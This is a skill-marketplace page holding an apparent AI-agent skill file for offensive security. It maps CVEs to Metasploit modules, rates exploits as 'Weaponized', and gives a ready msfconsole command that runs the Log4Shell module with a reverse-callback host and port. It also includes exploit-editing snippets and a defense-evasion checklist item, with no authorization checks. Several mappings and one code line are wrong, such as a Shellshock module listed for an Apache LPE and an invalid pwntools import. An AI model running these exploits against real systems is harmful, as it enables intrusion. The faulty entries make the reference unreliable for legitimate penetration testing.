Active Directory attack reference — BloodHound Cypher queries, Kerberos attack decision tree, ACE/ACL abuse, ADCS ESC1-8, and AD misconfig checklist
日本語の概要は準備中です。原文の説明を表示しています。
mukul975/Threatswarm872026年4月30日 更新
無料GitHub で公開
exploit-db
Exploit-DB and searchsploit reference — EDB→Metasploit module mappings, PoC reliability rubric, CVSS tier quick reference, and searchsploit usage patterns
含まれるファイル（1）
- SKILL.md9.0 KB
SKILL.md（原文）
インストールする前に、エージェントに与えられる指示の中身を確認できます。
searchsploit Usage Patterns
# Text search in title/path
searchsploit apache 2.4
# Search by CVE
searchsploit --cve CVE-2021-41773
searchsploit --cve CVE-2021-44228
# JSON output for scripting
searchsploit apache --json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for e in data.get('RESULTS_EXPLOIT', []):
print(e['EDB-ID'], e['Title'], e['Path'])
"
# Copy exploit to working dir
searchsploit -m 50383
# Update database
searchsploit -u
# Search by nmap XML output
searchsploit --nmap nmap_output.xml
# Filter by type (webapps, local, remote, dos)
searchsploit -t "remote" apache
# Search for specific OS
searchsploit windows 10 privilege escalation
# Show only exploits (not shellcodes/papers)
searchsploit wordpress --www-exploit-db
EDB → Metasploit Module Mapping (Top 40 Vulnerabilities)
| CVE / EDB-ID | Vulnerability | Metasploit Module | Reliability |
|---|---|---|---|
| CVE-2017-0144 / EDB-41891 | MS17-010 EternalBlue | exploit/windows/smb/ms17_010_eternalblue | Weaponized |
| CVE-2021-44228 / EDB-50592 | Log4Shell RCE | exploit/multi/http/log4shell_header_injection | Weaponized |
| CVE-2021-1675 / EDB-50265 | PrintNightmare | exploit/windows/dcerpc/cve_2021_1675_printnightmare | Weaponized |
| CVE-2021-34473 / EDB-50243 | ProxyShell Exchange | exploit/windows/http/exchange_proxyshell_rce | Weaponized |
| CVE-2020-1472 / EDB-49071 | ZeroLogon | auxiliary/admin/dcerpc/cve_2020_1472_zerologon | Weaponized |
| CVE-2022-22965 / EDB-50798 | Spring4Shell | exploit/multi/http/spring_framework_rce_spring4shell | Weaponized |
| CVE-2019-19781 / EDB-47901 | Citrix ADC Path Traversal | exploit/linux/http/citrix_dir_traversal_rce | Weaponized |
| CVE-2020-5902 / EDB-48695 | F5 BIG-IP RCE | exploit/linux/http/f5_bigip_tmui_rce | Weaponized |
| CVE-2021-26855 / EDB-49637 | ProxyLogon Exchange | exploit/windows/http/exchange_proxylogon_rce | Weaponized |
| CVE-2022-26134 / EDB-51076 | Confluence OGNL RCE | exploit/multi/http/atlassian_confluence_namespace_ognl_injection | Weaponized |
| CVE-2018-13379 / EDB-47288 | FortiOS Path Traversal | auxiliary/gather/fortios_vpn_user_cred | Functional |
| CVE-2022-1388 / EDB-50919 | F5 iControl Auth Bypass | exploit/linux/http/f5_icontrol_rce | Weaponized |
| CVE-2021-20038 / EDB-50882 | SonicWall SMA Stack Overflow | exploit/linux/http/sonicwall_sma_overflow | Functional |
| CVE-2023-46604 / EDB-51880 | Apache ActiveMQ RCE | exploit/multi/misc/apache_activemq_rce_cve_2023_46604 | Weaponized |
| CVE-2021-3156 / EDB-49521 | Sudo Baron Samedit | exploit/linux/local/sudo_baron_samedit | Weaponized |
| CVE-2021-4034 / EDB-50689 | PwnKit polkit LPE | exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec | Weaponized |
| CVE-2022-0847 / EDB-50808 | Dirty Pipe Linux LPE | exploit/linux/local/cve_2022_0847_dirtypipe | Weaponized |
| CVE-2016-5195 / EDB-40616 | Dirty COW Linux LPE | exploit/linux/local/overlayfs_priv_esc | Weaponized |
| CVE-2014-6271 / EDB-34766 | Shellshock Bash RCE | exploit/multi/http/apache_mod_cgi_bash_env_exec | Weaponized |
| CVE-2017-5638 / EDB-41570 | Apache Struts2 RCE | exploit/multi/http/struts2_content_type_ognl | Weaponized |
| CVE-2019-0708 / EDB-47416 | BlueKeep RDP RCE | exploit/windows/rdp/cve_2019_0708_bluekeep_rce | Functional |
| CVE-2020-0796 / EDB-48260 | SMBGhost RCE | exploit/windows/smb/cve_2020_0796_smbghost | Functional |
| CVE-2018-7600 / EDB-44449 | Drupalgeddon2 RCE | exploit/unix/webapp/drupal_drupalgeddon2 | Weaponized |
| CVE-2019-0211 / EDB-46676 | Apache HTTPd LPE | exploit/multi/http/apache_mod_cgi_bash_env_exec | Functional |
| CVE-2015-1701 / EDB-37367 | Windows Win32k LPE | exploit/windows/local/ms15_051_client_copy_image | Weaponized |
| CVE-2020-14882 / EDB-49391 | Oracle WebLogic RCE | exploit/multi/http/oracle_weblogic_admin_handle_rce | Weaponized |
| CVE-2021-22005 / EDB-50513 | vCenter File Upload | exploit/linux/http/vmware_vcenter_uploadova_rce | Weaponized |
| CVE-2022-41040 / EDB-51917 | ProxyNotShell Exchange | exploit/windows/http/exchange_proxynotshell_rce | Functional |
| CVE-2023-22515 / EDB-51899 | Confluence Priv Esc | Manual PoC required | Functional |
| CVE-2024-21762 / EDB-51960 | FortiOS OOB Write | Manual PoC required | Weaponized |
| CVE-2019-11510 / EDB-47297 | Pulse Secure Arb File Read | auxiliary/gather/pulse_secure_file_read | Weaponized |
| CVE-2020-3452 / EDB-48577 | Cisco ASA Path Traversal | auxiliary/gather/cisco_asa_local_file_inclusion | Weaponized |
| CVE-2021-40539 / EDB-50781 | ManageEngine RCE | exploit/multi/http/manageengine_adselfservice_plusrce | Weaponized |
| CVE-2022-36537 / EDB-51327 | ZK Framework RCE | Manual PoC | Functional |
| CVE-2023-4966 / EDB-51888 | Citrix Bleed Session Leak | Manual PoC | Weaponized |
| CVE-2024-3400 / EDB-52023 | PAN-OS GlobalProtect RCE | Manual PoC | Weaponized |
| CVE-2022-47966 / EDB-51518 | ManageEngine SAML RCE | exploit/linux/http/zoho_manageengine_saml_rce | Weaponized |
| CVE-2023-27997 / EDB-51832 | FortiGate SSL-VPN Heap BOF | Manual PoC | Weaponized |
| CVE-2023-20198 / EDB-51873 | Cisco IOS XE Priv Esc | Manual PoC | Weaponized |
| CVE-2024-6387 / EDB-52098 | OpenSSH regreSSHion | Manual PoC (race) | DoS-only |
PoC Reliability Rubric
| Level | Label | Criteria | Action |
|---|---|---|---|
| 1 | Weaponized | Works out-of-box against target version, produces shell/access reliably | Test directly; log as CONFIRMED |
| 2 | Functional | Requires minor adaptation (change URL, adjust offset) | Modify per target; log as VERIFIED |
| 3 | DoS-only | Crashes service but no code exec | Confirm version, log as CONFIRMED-DOS |
| 4 | Theoretical | Academic writeup, no working code | Write PoC from paper or skip |
| 5 | False/Invalid | Patched, misidentified, or wrong version | Log as NOT-APPLICABLE |
Reliability Assessment Checklist:
□ Check affected version range vs target version (confirm match)
□ Read comments/issues on GitHub PoC for known problems
□ Check EDB verified badge (green checkmark = tested by staff)
□ Note compile requirements (libc version, kernel headers, etc.)
□ Test in identical OS/service version lab before live target
□ Check VT multi-scanner on compiled binary (defense evasion consideration)
CVSS 3.1 Tier Quick Reference
| Score | Severity | Vector Pattern | Examples |
|---|---|---|---|
| 9.0–10.0 | CRITICAL | AV:N/AC:L/PR:N/UI:N/S:C | Pre-auth RCE, unauthenticated critical |
| 7.0–8.9 | HIGH | AV:N/AC:L/PR:N/UI:N | Auth bypass, post-auth RCE, LPE |
| 4.0–6.9 | MEDIUM | AV:N/AC:L/PR:L or AV:L/AC:L | Auth required, info disclosure |
| 0.1–3.9 | LOW | AV:L/AC:H/PR:H | Physical access, complex conditions |
Common Vector Components:
AV: N(network) L(local) P(physical) A(adjacent)
AC: L(low) H(high)
PR: N(none) L(low) H(high)
UI: N(none) R(required)
S: U(unchanged) C(changed)
C/I/A: N(none) L(low) H(high)
Pre-built CVSS Vectors by Category:
Pre-auth RCE (critical): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
Auth bypass + access: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
Post-auth RCE: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
Local privilege escalation: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.8
Stored XSS (admin): CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4
SQLi (read-only): CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5
SSRF (internal): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N = 7.2
Path traversal (LFI): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
DoS (network): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5
CSRF (state-change): CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N = 6.5
searchsploit + Metasploit Workflow
# 1. Find relevant exploits
searchsploit --cve CVE-2021-44228 --json | python3 -m json.tool
# 2. View exploit details before downloading
searchsploit -x exploits/java/webapps/50592.py
# 3. Mirror to current directory
searchsploit -m 50592
# 4. Find matching MSF module
msfconsole -q -x "search cve:2021-44228; exit"
# 5. Run MSF module
msfconsole -q -x "
use exploit/multi/http/log4shell_header_injection
set RHOSTS $TARGET
set RPORT $PORT
set TARGETURI /
set LHOST $LHOST
set LPORT $LPORT
run
exit
"
Common Exploit Modification Patterns
# Pattern 1: Fix URL in raw exploit
import re
code = open('exploit.py').read()
code = re.sub(r'http://[0-9.]+', f'http://{TARGET}', code)
# Pattern 2: Fix shell command in exploit
# Find LHOST/LPORT references and replace with env vars
import os
LHOST = os.environ['LHOST']
LPORT = os.environ['LPORT']
# Pattern 3: Adjust buffer offset for target binary version
# Use cyclic pattern to find EIP/RIP offset
python3 -c "from pwntools import *; print(cyclic(200))" | ./$BINARY
# Then check crash offset with: cyclic_find(b'faab')
レビュー
まだレビューはありません。使ってみた感想をお寄せください。
同じリポジトリのスキル
概要と使いどころ
MITRE ATT&CK framework reference — tactics, techniques, and tool-to-TTP mappings for pentest documentation and detection rule writing
日本語の概要は準備中です。原文の説明を表示しています。
mukul975/Threatswarm872026年4月30日 更新
CVSS 3.1 vector examples, executive summary template, full technical finding template, and remediation language bank for pentest reports
日本語の概要は準備中です。原文の説明を表示しています。
mukul975/Threatswarm872026年4月30日 更新
SecLists path map, hashcat rules, CeWL usage, and custom wordlist generation for all attack categories
日本語の概要は準備中です。原文の説明を表示しています。
mukul975/Threatswarm872026年4月30日 更新